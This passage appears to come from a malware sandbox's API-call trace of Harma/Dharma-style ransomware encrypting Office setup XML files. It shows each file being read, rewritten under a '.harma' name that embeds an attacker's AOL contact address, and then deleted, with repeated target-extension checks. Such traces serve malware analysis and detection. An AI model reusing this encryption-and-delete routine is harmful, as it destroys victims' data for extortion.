(lpString1=".1cd", lpString2=".XML") returned -1 [0050.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0050.698] lstrlenW (lpString=".jpg") returned 4 [0050.698] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.698] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.698] lstrlenW (lpString="SETUP.XML") returned 9 [0050.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0050.744] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1988) returned 1 [0050.759] CloseHandle (hObject=0x1f8) returned 1 [0050.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0050.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0050.771] GetLastError () returned 0x0 [0050.771] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0050.778] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0050.779] ReadFile (in: hFile=0x1fc, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.779] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.779] SetEndOfFile (hFile=0x1f8) returned 1 [0050.779] CloseHandle (hObject=0x1f8) returned 1 [0050.780] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.780] SetEndOfFile (hFile=0x1fc) returned 1 [0050.781] CloseHandle (hObject=0x1fc) returned 1 [0050.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0050.782] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0050.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.782] lstrlenW (lpString=".doc") returned 4 [0050.782] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.782] lstrlenW (lpString=".docx") returned 5 [0050.782] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.782] lstrlenW (lpString=".pdf") returned 4 [0050.782] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.782] lstrlenW (lpString=".xls") returned 4 [0050.782] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.782] lstrlenW (lpString=".xlsx") returned 5 [0050.782] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.782] lstrlenW (lpString=".ppt") returned 4 [0050.782] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.782] lstrlenW (lpString=".zip") returned 4 [0050.783] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.783] lstrlenW (lpString=".rar") returned 4 [0050.783] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString=".bz2") returned 4 [0050.783] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString=".7z") returned 3 [0050.783] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.783] lstrlenW (lpString=".dbf") returned 4 [0050.783] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.783] lstrlenW (lpString=".1cd") returned 4 [0050.783] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.783] lstrlenW (lpString=".jpg") returned 4 [0050.783] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.783] lstrlenW (lpString=".doc") returned 4 [0050.783] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString=".docx") returned 5 [0050.783] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0050.783] lstrlenW (lpString=".pdf") returned 4 [0050.783] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.783] lstrlenW (lpString=".xls") returned 4 [0050.784] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.784] lstrlenW (lpString=".xlsx") returned 5 [0050.784] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0050.784] lstrlenW (lpString=".ppt") returned 4 [0050.784] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.784] lstrlenW (lpString=".zip") returned 4 [0050.784] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.784] lstrlenW (lpString=".rar") returned 4 [0050.784] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.784] lstrlenW (lpString=".bz2") returned 4 [0050.784] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.784] lstrlenW (lpString=".7z") returned 3 [0050.784] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.784] lstrlenW (lpString=".dbf") returned 4 [0050.784] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.784] lstrlenW (lpString=".1cd") returned 4 [0050.784] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0050.784] lstrlenW (lpString=".jpg") returned 4 [0050.784] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.785] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.785] lstrlenW (lpString="SETUP.XML") returned 9 [0050.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.281] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1886) returned 1 [0052.281] CloseHandle (hObject=0x1f4) returned 1 [0052.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0052.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.282] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.282] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.284] GetLastError () returned 0x0 [0052.294] ReadFile (in: hFile=0x1f4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x75e, lpOverlapped=0x0) returned 1 [0052.390] WriteFile (in: hFile=0x1dc, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x760, lpOverlapped=0x0) returned 1 [0052.391] ReadFile (in: hFile=0x1f4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.391] WriteFile (in: hFile=0x1dc, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.391] SetEndOfFile (hFile=0x1dc) returned 1 [0052.392] CloseHandle (hObject=0x1dc) returned 1 [0052.392] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.392] SetEndOfFile (hFile=0x1f4) returned 1 [0052.393] CloseHandle (hObject=0x1f4) returned 1 [0052.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.394] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0052.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.394] lstrlenW (lpString=".doc") returned 4 [0052.394] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.394] lstrlenW (lpString=".docx") returned 5 [0052.394] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.394] lstrlenW (lpString=".pdf") returned 4 [0052.394] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.394] lstrlenW (lpString=".xls") returned 4 [0052.394] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.394] lstrlenW (lpString=".xlsx") returned 5 [0052.394] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.394] lstrlenW (lpString=".ppt") returned 4 [0052.394] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.394] lstrlenW (lpString=".zip") returned 4 [0052.394] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.394] lstrlenW (lpString=".rar") returned 4 [0052.394] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.394] lstrlenW (lpString=".bz2") returned 4 [0052.394] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.394] lstrlenW (lpString=".7z") returned 3 [0052.394] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.394] lstrlenW (lpString=".dbf") returned 4 [0052.395] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.395] lstrlenW (lpString=".1cd") returned 4 [0052.395] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.395] lstrlenW (lpString=".jpg") returned 4 [0052.395] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.395] lstrlenW (lpString=".doc") returned 4 [0052.395] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString=".docx") returned 5 [0052.395] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.395] lstrlenW (lpString=".pdf") returned 4 [0052.395] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString=".xls") returned 4 [0052.395] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString=".xlsx") returned 5 [0052.395] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.395] lstrlenW (lpString=".ppt") returned 4 [0052.395] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.395] lstrlenW (lpString=".zip") returned 4 [0052.395] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.395] lstrlenW (lpString=".rar") returned 4 [0052.395] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString=".bz2") returned 4 [0052.395] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.395] lstrlenW (lpString=".7z") returned 3 [0052.395] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.396] lstrlenW (lpString=".dbf") returned 4 [0052.396] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.396] lstrlenW (lpString=".1cd") returned 4 [0052.396] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0052.396] lstrlenW (lpString=".jpg") returned 4 [0052.396] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.396] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.396] lstrlenW (lpString="SETUP.XML") returned 9 [0052.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.418] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=5884) returned 1 [0052.418] CloseHandle (hObject=0x210) returned 1 [0052.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0052.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.418] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.441] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.452] GetLastError () returned 0x0 [0052.452] ReadFile (in: hFile=0x210, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0052.458] WriteFile (in: hFile=0x214, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0052.459] ReadFile (in: hFile=0x210, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.459] WriteFile (in: hFile=0x214, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.460] SetEndOfFile (hFile=0x214) returned 1 [0052.460] CloseHandle (hObject=0x214) returned 1 [0052.460] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.461] SetEndOfFile (hFile=0x210) returned 1 [0052.463] CloseHandle (hObject=0x210) returned 1 [0052.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.463] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.464] lstrlenW (lpString=".doc") returned 4 [0052.464] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString=".docx") returned 5 [0052.464] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.464] lstrlenW (lpString=".pdf") returned 4 [0052.464] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString=".xls") returned 4 [0052.464] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString=".xlsx") returned 5 [0052.464] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.464] lstrlenW (lpString=".ppt") returned 4 [0052.464] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.464] lstrlenW (lpString=".zip") returned 4 [0052.464] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.464] lstrlenW (lpString=".rar") returned 4 [0052.464] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString=".bz2") returned 4 [0052.464] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString=".7z") returned 3 [0052.464] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.464] lstrlenW (lpString=".dbf") returned 4 [0052.464] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.464] lstrlenW (lpString=".1cd") returned 4 [0052.464] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.464] lstrlenW (lpString=".jpg") returned 4 [0052.465] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0052.465] lstrlenW (lpString=".doc") returned 4 [0052.465] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString=".docx") returned 5 [0052.465] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.465] lstrlenW (lpString=".pdf") returned 4 [0052.465] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString=".xls") returned 4 [0052.465] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.465] lstrlenW (lpString=".xlsx") returned 5 [0052.465] 